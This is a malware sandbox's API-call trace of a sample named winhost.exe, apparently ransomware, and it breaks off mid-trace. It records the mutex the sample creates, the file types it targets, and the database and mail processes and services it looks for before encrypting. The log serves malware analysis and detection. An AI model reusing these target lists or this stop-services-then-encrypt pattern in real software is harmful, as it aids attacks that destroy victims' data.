# Flog Txt Version 1 # Analyzer Version: 3.2.2 # Analyzer Build Date: Jun 3 2020 08:38:37 # Log Creation Date: 10.08.2020 14:15:54.856 Process: id = "1" image_name = "winhost.exe" filename = "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\winhost.exe" page_root = "0x45386000" os_pid = "0x618" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "analysis_target" parent_id = "0" os_parent_pid = "0x454" cmd_line = "\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\winhost.exe\" " cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000eb41" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 1 os_tid = 0x848 [0043.317] LoadLibraryA (lpLibFileName="kernel32.dll") returned 0x76d30000 [0043.318] GetProcAddress (hModule=0x76d30000, lpProcName="GetProcAddress") returned 0x76d41222 [0043.318] GetProcAddress (hModule=0x76d30000, lpProcName="GetModuleHandleW") returned 0x76d434b0 [0043.318] GetProcAddress (hModule=0x76d30000, lpProcName="FindNextFileW") returned 0x76d454ee [0043.318] GetProcAddress (hModule=0x76d30000, lpProcName="FindClose") returned 0x76d44442 [0043.318] GetProcAddress (hModule=0x76d30000, lpProcName="MoveFileW") returned 0x76d59af0 [0043.318] GetProcAddress (hModule=0x76d30000, lpProcName="GetFileSizeEx") returned 0x76d459e2 [0043.318] GetProcAddress (hModule=0x76d30000, lpProcName="GetModuleFileNameW") returned 0x76d44950 [0043.318] GetProcAddress (hModule=0x76d30000, lpProcName="GetFileAttributesW") returned 0x76d41b18 [0043.318] GetProcAddress (hModule=0x76d30000, lpProcName="ExitProcess") returned 0x76d47a10 [0043.319] GetProcAddress (hModule=0x76d30000, lpProcName="GetCommandLineW") returned 0x76d45223 [0043.319] GetProcAddress (hModule=0x76d30000, lpProcName="GetComputerNameW") returned 0x76d4dd0e [0043.319] GetProcAddress (hModule=0x76d30000, lpProcName="GetComputerNameA") returned 0x76d5b6e0 [0043.319] GetProcAddress (hModule=0x76d30000, lpProcName="CreateMutexW") returned 0x76d4424c [0043.319] GetProcAddress (hModule=0x76d30000, lpProcName="lstrlenW") returned 0x76d41700 [0043.319] GetProcAddress (hModule=0x76d30000, lpProcName="lstrlenA") returned 0x76d45a4b [0043.319] GetProcAddress (hModule=0x76d30000, lpProcName="GetCurrentProcess") returned 0x76d41809 [0043.319] GetProcAddress (hModule=0x76d30000, lpProcName="WaitForSingleObject") returned 0x76d41136 [0043.319] GetProcAddress (hModule=0x76d30000, lpProcName="GetLogicalDrives") returned 0x76d45371 [0043.319] GetProcAddress (hModule=0x76d30000, lpProcName="GetTickCount") returned 0x76d4110c [0043.319] GetProcAddress (hModule=0x76d30000, lpProcName="DeleteFileW") returned 0x76d489b3 [0043.319] GetProcAddress (hModule=0x76d30000, lpProcName="WideCharToMultiByte") returned 0x76d4170d [0043.319] GetProcAddress (hModule=0x76d30000, lpProcName="InitializeCriticalSectionAndSpinCount") returned 0x76d41916 [0043.319] GetProcAddress (hModule=0x76d30000, lpProcName="Sleep") returned 0x76d410ff [0043.320] GetProcAddress (hModule=0x76d30000, lpProcName="LeaveCriticalSection") returned 0x77c62270 [0043.320] GetProcAddress (hModule=0x76d30000, lpProcName="ReadFile") returned 0x76d43ed3 [0043.320] GetProcAddress (hModule=0x76d30000, lpProcName="CreateFileW") returned 0x76d43f5c [0043.320] GetProcAddress (hModule=0x76d30000, lpProcName="OpenMutexW") returned 0x76d45151 [0043.320] GetProcAddress (hModule=0x76d30000, lpProcName="EnterCriticalSection") returned 0x77c622b0 [0043.320] GetProcAddress (hModule=0x76d30000, lpProcName="WaitForMultipleObjects") returned 0x76d44220 [0043.320] GetProcAddress (hModule=0x76d30000, lpProcName="lstrcmpiW") returned 0x76d5d5cd [0043.320] GetProcAddress (hModule=0x76d30000, lpProcName="lstrcmpiA") returned 0x76d43e8e [0043.320] GetProcAddress (hModule=0x76d30000, lpProcName="DeleteCriticalSection") returned 0x77c745f5 [0043.320] GetProcAddress (hModule=0x76d30000, lpProcName="ReleaseMutex") returned 0x76d4111e [0043.320] GetProcAddress (hModule=0x76d30000, lpProcName="CloseHandle") returned 0x76d41410 [0043.320] GetProcAddress (hModule=0x76d30000, lpProcName="GetVersion") returned 0x76d44467 [0043.320] GetProcAddress (hModule=0x76d30000, lpProcName="CreateThread") returned 0x76d434d5 [0043.320] GetProcAddress (hModule=0x76d30000, lpProcName="ExpandEnvironmentStringsW") returned 0x76d44173 [0043.320] GetProcAddress (hModule=0x76d30000, lpProcName="QueryPerformanceCounter") returned 0x76d41725 [0043.320] GetProcAddress (hModule=0x76d30000, lpProcName="QueryPerformanceFrequency") returned 0x76d441f0 [0043.320] GetProcAddress (hModule=0x76d30000, lpProcName="GetCurrentProcessId") returned 0x76d411f8 [0043.321] GetProcAddress (hModule=0x76d30000, lpProcName="SetFileAttributesW") returned 0x76d5d4f7 [0043.321] GetProcAddress (hModule=0x76d30000, lpProcName="GetVolumeInformationW") returned 0x76d5c860 [0043.321] GetProcAddress (hModule=0x76d30000, lpProcName="WriteFile") returned 0x76d41282 [0043.321] GetProcAddress (hModule=0x76d30000, lpProcName="SetFilePointerEx") returned 0x76d5c807 [0043.321] GetProcAddress (hModule=0x76d30000, lpProcName="SetEndOfFile") returned 0x76d5ce2e [0043.321] GetProcAddress (hModule=0x76d30000, lpProcName="FindFirstFileW") returned 0x76d44435 [0043.321] GetProcAddress (hModule=0x76d30000, lpProcName="GetProcessHeap") returned 0x76d414e9 [0043.321] GetProcAddress (hModule=0x76d30000, lpProcName="HeapReAlloc") returned 0x77c81f6e [0043.321] GetProcAddress (hModule=0x76d30000, lpProcName="HeapAlloc") returned 0x77c6e026 [0043.321] GetProcAddress (hModule=0x76d30000, lpProcName="HeapFree") returned 0x76d414c9 [0043.321] GetProcAddress (hModule=0x76d30000, lpProcName="CreatePipe") returned 0x76dc415b [0043.321] GetProcAddress (hModule=0x76d30000, lpProcName="SetHandleInformation") returned 0x76d5195c [0043.321] GetProcAddress (hModule=0x76d30000, lpProcName="CreateProcessW") returned 0x76d4103d [0043.321] GetProcAddress (hModule=0x76d30000, lpProcName="CompareStringW") returned 0x76d43bca [0043.321] GetProcAddress (hModule=0x76d30000, lpProcName="CompareStringA") returned 0x76d43c5a [0043.321] GetProcAddress (hModule=0x76d30000, lpProcName="OpenProcess") returned 0x76d41986 [0043.322] GetProcAddress (hModule=0x76d30000, lpProcName="TerminateProcess") returned 0x76d5d802 [0043.322] GetProcAddress (hModule=0x76d30000, lpProcName="GetSystemTime") returned 0x76d45a96 [0043.322] GetProcAddress (hModule=0x76d30000, lpProcName="SystemTimeToFileTime") returned 0x76d45a7e [0043.322] GetProcAddress (hModule=0x76d30000, lpProcName="GetLastError") returned 0x76d411c0 [0043.322] GetProcAddress (hModule=0x76d30000, lpProcName="CreateToolhelp32Snapshot") returned 0x76d6735f [0043.322] GetProcAddress (hModule=0x76d30000, lpProcName="Process32NextW") returned 0x76d6896c [0043.322] GetProcAddress (hModule=0x76d30000, lpProcName="Process32FirstW") returned 0x76d68baf [0043.322] LoadLibraryA (lpLibFileName="advapi32.dll") returned 0x77710000 [0049.705] GetProcAddress (hModule=0x77710000, lpProcName="RegOpenKeyExW") returned 0x7772468d [0049.705] GetProcAddress (hModule=0x77710000, lpProcName="RegQueryValueExW") returned 0x777246ad [0049.705] GetProcAddress (hModule=0x77710000, lpProcName="RegSetValueExW") returned 0x777214d6 [0049.705] GetProcAddress (hModule=0x77710000, lpProcName="RegCloseKey") returned 0x7772469d [0049.706] GetProcAddress (hModule=0x77710000, lpProcName="OpenProcessToken") returned 0x77724304 [0049.706] GetProcAddress (hModule=0x77710000, lpProcName="GetTokenInformation") returned 0x7772431c [0049.706] GetProcAddress (hModule=0x77710000, lpProcName="OpenSCManagerW") returned 0x7771ca64 [0049.706] GetProcAddress (hModule=0x77710000, lpProcName="OpenServiceW") returned 0x7771ca4c [0049.706] GetProcAddress (hModule=0x77710000, lpProcName="CloseServiceHandle") returned 0x7772369c [0049.706] GetProcAddress (hModule=0x77710000, lpProcName="ControlService") returned 0x77737144 [0049.706] GetProcAddress (hModule=0x77710000, lpProcName="QueryServiceStatus") returned 0x77722a86 [0049.706] GetProcAddress (hModule=0x77710000, lpProcName="EnumDependentServicesW") returned 0x77711e3a [0049.706] GetProcAddress (hModule=0x77710000, lpProcName="EnumServicesStatusExW") returned 0x7771b466 [0049.707] LoadLibraryA (lpLibFileName="user32.dll") returned 0x77130000 [0060.257] GetProcAddress (hModule=0x77130000, lpProcName="SystemParametersInfoW") returned 0x771490d3 [0060.257] LoadLibraryA (lpLibFileName="Shell32.dll") returned 0x759d0000 [0065.996] GetProcAddress (hModule=0x759d0000, lpProcName="ShellExecuteExW") returned 0x759f1e46 [0065.996] LoadLibraryA (lpLibFileName="ntdll.dll") returned 0x77c40000 [0065.996] GetProcAddress (hModule=0x77c40000, lpProcName="NtQuerySystemInformation") returned 0x77c5fda0 [0065.997] LoadLibraryA (lpLibFileName="mpr.dll") returned 0x75660000 [0066.711] GetProcAddress (hModule=0x75660000, lpProcName="WNetCloseEnum") returned 0x75662dd6 [0066.711] GetProcAddress (hModule=0x75660000, lpProcName="WNetOpenEnumW") returned 0x75662f06 [0066.711] GetProcAddress (hModule=0x75660000, lpProcName="WNetEnumResourceW") returned 0x75663058 [0066.712] LoadLibraryA (lpLibFileName="ws2_32.dll") returned 0x77230000 [0067.243] GetProcAddress (hModule=0x77230000, lpProcName="WSAStartup") returned 0x77233ab2 [0067.243] GetProcAddress (hModule=0x77230000, lpProcName="socket") returned 0x77233eb8 [0067.244] GetProcAddress (hModule=0x77230000, lpProcName="send") returned 0x77236f01 [0067.244] GetProcAddress (hModule=0x77230000, lpProcName="recv") returned 0x77236b0e [0067.244] GetProcAddress (hModule=0x77230000, lpProcName="connect") returned 0x77236bdd [0067.244] GetProcAddress (hModule=0x77230000, lpProcName="closesocket") returned 0x77233918 [0067.245] GetProcAddress (hModule=0x77230000, lpProcName="gethostbyname") returned 0x77247673 [0067.245] GetProcAddress (hModule=0x77230000, lpProcName="inet_addr") returned 0x7723311b [0067.245] GetProcAddress (hModule=0x77230000, lpProcName="ntohl") returned 0x77232d57 [0067.245] GetProcAddress (hModule=0x77230000, lpProcName="htonl") returned 0x77232d57 [0067.245] GetProcAddress (hModule=0x77230000, lpProcName="htons") returned 0x77232d8b [0067.245] GetProcessHeap () returned 0x5b0000 [0067.246] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x5c40d0 [0067.246] QueryPerformanceCounter (in: lpPerformanceCount=0x18fdb8 | out: lpPerformanceCount=0x18fdb8*=18681406237) returned 1 [0067.246] GetTickCount () returned 0x11459c4 [0067.246] GetCurrentProcessId () returned 0x618 [0067.247] GetTickCount () returned 0x11459c4 [0067.247] GetTickCount () returned 0x11459c4 [0067.247] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x5c40f8 [0067.248] GetVersion () returned 0x1db10106 [0067.248] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x7) returned 0x5b36b8 [0067.248] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x5c0bd8 [0067.248] RtlReAllocateHeap (Heap=0x5b0000, Flags=0x0, Ptr=0x5c0bd8, Size=0x20) returned 0x5c4148 [0067.248] RtlReAllocateHeap (Heap=0x5b0000, Flags=0x0, Ptr=0x5c4148, Size=0x40) returned 0x5c46b8 [0067.248] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xfffe) returned 0x5c4908 [0067.249] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\syncronize_Q95XMAA") returned 0x0 [0067.249] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\syncronize_Q95XMAA") returned 0x84 [0067.250] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5b36b8 | out: hHeap=0x5b0000) returned 1 [0067.250] lstrlenW (lpString="Global\\syncronize_") returned 18 [0067.250] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5c46b8 | out: hHeap=0x5b0000) returned 1 [0067.250] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x7) returned 0x5b36b8 [0067.250] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x5c0bd8 [0067.250] RtlReAllocateHeap (Heap=0x5b0000, Flags=0x0, Ptr=0x5c0bd8, Size=0x20) returned 0x5c4148 [0067.250] RtlReAllocateHeap (Heap=0x5b0000, Flags=0x0, Ptr=0x5c4148, Size=0x40) returned 0x5c46b8 [0067.250] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xfffe) returned 0x5d4910 [0067.251] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\syncronize_Q95XMAU") returned 0x0 [0067.251] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\syncronize_Q95XMAU") returned 0x88 [0067.251] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5b36b8 | out: hHeap=0x5b0000) returned 1 [0067.251] lstrlenW (lpString="Global\\syncronize_") returned 18 [0067.251] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5c46b8 | out: hHeap=0x5b0000) returned 1 [0067.251] GetVersion () returned 0x1db10106 [0067.251] GetCurrentProcess () returned 0xffffffff [0067.251] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x8, TokenHandle=0x18fda4 | out: TokenHandle=0x18fda4*=0x8c) returned 1 [0067.251] GetTokenInformation (in: TokenHandle=0x8c, TokenInformationClass=0x14, TokenInformation=0x18fda0, TokenInformationLength=0x4, ReturnLength=0x18fdac | out: TokenInformation=0x18fda0, ReturnLength=0x18fdac) returned 1 [0067.252] CloseHandle (hObject=0x8c) returned 1 [0067.252] WaitForSingleObject (hHandle=0x88, dwMilliseconds=0x0) returned 0x0 [0067.252] WaitForSingleObject (hHandle=0x84, dwMilliseconds=0x3e8) returned 0x0 [0067.252] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x14) returned 0x5b36b8 [0067.252] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x5c0bd8 [0067.252] RtlReAllocateHeap (Heap=0x5b0000, Flags=0x0, Ptr=0x5c0bd8, Size=0x20) returned 0x5c4148 [0067.252] RtlReAllocateHeap (Heap=0x5b0000, Flags=0x0, Ptr=0x5c4148, Size=0x40) returned 0x5c46b8 [0067.252] RtlReAllocateHeap (Heap=0x5b0000, Flags=0x0, Ptr=0x5c46b8, Size=0x80) returned 0x5c46b8 [0067.252] RtlReAllocateHeap (Heap=0x5b0000, Flags=0x0, Ptr=0x5c46b8, Size=0x100) returned 0x5c46b8 [0067.252] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x34) returned 0x5c47c0 [0067.252] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5c07c8 [0067.252] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5c07d8 [0067.252] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5c07e8 [0067.252] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc) returned 0x5c0bd8 [0067.253] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5c4800 [0067.253] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x5c0bf0 [0067.253] RtlReAllocateHeap (Heap=0x5b0000, Flags=0x0, Ptr=0x5c4800, Size=0x8) returned 0x5c4800 [0067.253] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc) returned 0x5c0c08 [0067.253] RtlReAllocateHeap (Heap=0x5b0000, Flags=0x0, Ptr=0x5c4800, Size=0x10) returned 0x5c4800 [0067.253] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x5c0c20 [0067.253] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x5c0c38 [0067.253] RtlReAllocateHeap (Heap=0x5b0000, Flags=0x0, Ptr=0x5c4800, Size=0x20) returned 0x5c4800 [0067.253] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc) returned 0x5c0c50 [0067.253] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x5c0c68 [0067.253] RtlReAllocateHeap (Heap=0x5b0000, Flags=0x0, Ptr=0x5c07c8, Size=0x8) returned 0x5c07c8 [0067.253] RtlReAllocateHeap (Heap=0x5b0000, Flags=0x0, Ptr=0x5c07d8, Size=0x8) returned 0x5c07d8 [0067.253] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5c4828 [0067.253] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc) returned 0x5c0c80 [0067.253] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5c4838 [0067.253] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x5c0c98 [0067.253] RtlReAllocateHeap (Heap=0x5b0000, Flags=0x0, Ptr=0x5c4838, Size=0x8) returned 0x5c4838 [0067.253] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x5e4930 [0067.253] RtlReAllocateHeap (Heap=0x5b0000, Flags=0x0, Ptr=0x5c4838, Size=0x10) returned 0x5c4838 [0067.254] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x5e4948 [0067.254] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5c4850 [0067.254] RtlReAllocateHeap (Heap=0x5b0000, Flags=0x0, Ptr=0x5c4838, Size=0x20) returned 0x5c4860 [0067.254] RtlReAllocateHeap (Heap=0x5b0000, Flags=0x0, Ptr=0x5c07c8, Size=0x10) returned 0x5c4838 [0067.254] RtlReAllocateHeap (Heap=0x5b0000, Flags=0x0, Ptr=0x5c07d8, Size=0x10) returned 0x5c4888 [0067.254] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5c07c8 [0067.254] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc) returned 0x5e4960 [0067.254] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5c07d8 [0067.254] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x5e4978 [0067.254] RtlReAllocateHeap (Heap=0x5b0000, Flags=0x0, Ptr=0x5c07d8, Size=0x8) returned 0x5c07d8 [0067.254] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5c48a0 [0067.254] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc) returned 0x5e4990 [0067.254] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5c48b0 [0067.254] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x5e49a8 [0067.254] RtlReAllocateHeap (Heap=0x5b0000, Flags=0x0, Ptr=0x5c48b0, Size=0x8) returned 0x5c48b0 [0067.254] RtlReAllocateHeap (Heap=0x5b0000, Flags=0x0, Ptr=0x5c4838, Size=0x20) returned 0x5e4d18 [0067.254] RtlReAllocateHeap (Heap=0x5b0000, Flags=0x0, Ptr=0x5c4888, Size=0x20) returned 0x5e4d40 [0067.254] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5c4888 [0067.254] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc) returned 0x5e49c0 [0067.254] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5c4838 [0067.254] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x5e49d8 [0067.254] RtlReAllocateHeap (Heap=0x5b0000, Flags=0x0, Ptr=0x5c4838, Size=0x8) returned 0x5c4838 [0067.254] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x14) returned 0x5e4d68 [0067.254] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x14) returned 0x5e4d88 [0067.255] lstrlenW (lpString="doc(.doc;.docx;.pdf;.xls;.xlsx;.ppt;)arc(.zip;.rar;.bz2;.7z;)dbf(.dbf;)1c8(.1cd;)jpg(.jpg;)") returned 91 [0067.255] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5c46b8 | out: hHeap=0x5b0000) returned 1 [0067.255] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x18fdf0 | out: lpWSAData=0x18fdf0) returned 0 [0067.279] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x5e49f0 [0067.279] RtlReAllocateHeap (Heap=0x5b0000, Flags=0x0, Ptr=0x5e49f0, Size=0x20) returned 0x5c4350 [0067.279] RtlReAllocateHeap (Heap=0x5b0000, Flags=0x0, Ptr=0x5c4350, Size=0x40) returned 0x5c4710 [0067.279] RtlReAllocateHeap (Heap=0x5b0000, Flags=0x0, Ptr=0x5c4710, Size=0x80) returned 0x5c4710 [0067.279] RtlReAllocateHeap (Heap=0x5b0000, Flags=0x0, Ptr=0x5c4710, Size=0x100) returned 0x5e5060 [0067.279] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x5e49f0 [0067.279] RtlReAllocateHeap (Heap=0x5b0000, Flags=0x0, Ptr=0x5e49f0, Size=0x20) returned 0x5c4350 [0067.279] RtlReAllocateHeap (Heap=0x5b0000, Flags=0x0, Ptr=0x5c4350, Size=0x40) returned 0x5c4710 [0067.279] RtlReAllocateHeap (Heap=0x5b0000, Flags=0x0, Ptr=0x5c4710, Size=0x80) returned 0x5c4710 [0067.279] RtlReAllocateHeap (Heap=0x5b0000, Flags=0x0, Ptr=0x5c4710, Size=0x100) returned 0x5e5168 [0067.279] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc) returned 0x5e49f0 [0067.279] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5c4710 [0067.279] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x5e4a08 [0067.279] RtlReAllocateHeap (Heap=0x5b0000, Flags=0x0, Ptr=0x5c4710, Size=0x8) returned 0x5c4710 [0067.279] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x14) returned 0x5c4720 [0067.279] RtlReAllocateHeap (Heap=0x5b0000, Flags=0x0, Ptr=0x5c4710, Size=0x10) returned 0x5c4740 [0067.279] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x18) returned 0x5c4758 [0067.280] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1a) returned 0x5c4350 [0067.280] RtlReAllocateHeap (Heap=0x5b0000, Flags=0x0, Ptr=0x5c4740, Size=0x20) returned 0x5c4778 [0067.280] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1c) returned 0x5c4378 [0067.280] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x16) returned 0x5c47a0 [0067.280] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1a) returned 0x5c43a0 [0067.280] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc) returned 0x5e4a20 [0067.280] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5c4710 [0067.280] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x40) returned 0x5e5270 [0067.280] RtlReAllocateHeap (Heap=0x5b0000, Flags=0x0, Ptr=0x5c4710, Size=0x8) returned 0x5c4710 [0067.280] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3c) returned 0x5e52b8 [0067.280] RtlReAllocateHeap (Heap=0x5b0000, Flags=0x0, Ptr=0x5c4710, Size=0x10) returned 0x5c4740 [0067.280] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x14) returned 0x5e5300 [0067.280] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x18) returned 0x5e5320 [0067.280] RtlReAllocateHeap (Heap=0x5b0000, Flags=0x0, Ptr=0x5c4740, Size=0x20) returned 0x5e5340 [0067.280] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x24) returned 0x5e5368 [0067.280] lstrlenW (lpString="1c8.exe;1cv77.exe;outlook.exe;postgres.exe;mysqld-nt.exe;mysqld.exe;sqlservr.exe;") returned 81 [0067.280] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5e5060 | out: hHeap=0x5b0000) returned 1 [0067.280] lstrlenW (lpString="FirebirdGuardianDefaultInstance;FirebirdServerDefaultInstance;sqlwriter;mssqlserver;sqlserveradhelper;") returned 102 [0067.280] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5e5168 | out: hHeap=0x5b0000) returned 1 [0067.281] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x5e58e8 [0067.291] EnumServicesStatusExW (in: hSCManager=0x5e58e8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x18fd8c, lpServicesReturned=0x18fda4, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x18fd8c, lpServicesReturned=0x18fda4, lpResumeHandle=0x0) returned 0 [0067.293] GetLastError () returned 0xea [0067.293] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x11e4) returned 0x5e91e8 [0067.293] EnumServicesStatusExW (in: hSCManager=0x5e58e8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x5e91e8, cbBufSize=0x11e4, pcbBytesNeeded=0x18fd8c, lpServicesReturned=0x18fda4, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x5e91e8, pcbBytesNeeded=0x18fd8c, lpServicesReturned=0x18fda4, lpResumeHandle=0x0) returned 1 [0067.295] CloseServiceHandle (hSCObject=0x5e58e8) returned 1 [0067.301] lstrlenW (lpString="Appinfo") returned 7 [0067.301] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0067.301] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0067.301] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0067.301] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0067.301] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0067.301] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0067.301] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0067.301] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0067.301] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0067.301] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0067.301] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0067.301] lstrlenW (lpString="AudioSrv") returned 8 [0067.301] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0067.302] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0067.302] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0067.302] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0067.302] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0067.302] lstrlenW (lpString="BFE") returned 3 [0067.302] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0067.302] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0067.302] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0067.302] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0067.302] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0067.302] lstrlenW (lpString="CryptSvc") returned 8 [0067.302] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0067.302] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 